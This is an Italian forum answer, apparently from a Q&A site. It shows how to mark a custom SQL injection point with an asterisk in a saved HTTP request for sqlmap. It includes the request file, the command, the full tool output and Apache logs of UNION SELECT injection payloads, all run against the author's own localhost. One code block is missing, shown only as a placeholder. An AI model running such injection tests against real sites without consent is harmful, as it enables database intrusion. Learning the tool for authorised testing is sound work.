Confermato che funziona come previsto con un asterisco , utilizzando la sqlmap di Backtrack 5r2, ma dovrebbe comportarsi allo stesso modo con Kali. L'esempio seguente non funziona poiché sto eseguendo un file html statico, ma mostra le iniezioni che si verificano nella posizione corretta.
Per prima cosa ho salvato la richiesta in un file e aggiunto l'asterisco:
root@bt:/pentest/database/sqlmap# cat trq
GET /?arg1*=test123 HTTP/1.1
Host: localhost
User-Agent: Mozilla/4.0
Successivamente, richiama sqlmap con il parametro -r:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -r trq
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 01:30:27
[01:30:27] [INFO] parsing HTTP request from 'trq'
custom injection mark ('*') found in '-u'. Do you want to process it? [Y/n/q] Y
[01:30:32] [INFO] testing connection to the target url
[01:30:33] [INFO] heuristics detected web page charset 'ascii'
[01:30:33] [INFO] testing if the url is stable, wait a few seconds
[01:30:34] [INFO] url is stable
[01:30:34] [INFO] testing if URI parameter '#1*' is dynamic
[01:30:34] [WARNING] URI parameter '#1*' appears to be not dynamic
[01:30:34] [WARNING] heuristic test shows that URI parameter '#1*' might not be injectable
[01:30:34] [INFO] testing for SQL injection on URI parameter '#1*'
[01:30:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[01:30:34] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:30:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[01:30:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:30:35] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:30:35] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[01:30:35] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:30:35] [INFO] testing 'Oracle AND time-based blind'
[01:30:35] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:30:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:30:35] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using the --dbms option
[01:30:35] [WARNING] URI parameter '#1*' is not injectable
[01:30:35] [CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. Also, you can try to rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details
[*] shutting down at 01:30:35
Ok, sembra che abbia provato alcune iniezioni, confermiamo guardando il log del server web:
root@bt:/pentest/database/sqlmap# tail /var/log/apache2/access.log
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
Il file di registro conferma che l'iniezione è stata collocata dove era l'asterisco e non è stata assegnata al valore del parametro.
Modifica , che indirizza l'esempio specifico fornito:
%codice%
Inoltre inserisce correttamente nel registro:
root@bt:/pentest/database/sqlmap# tail /var/log/apache2/access.log
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"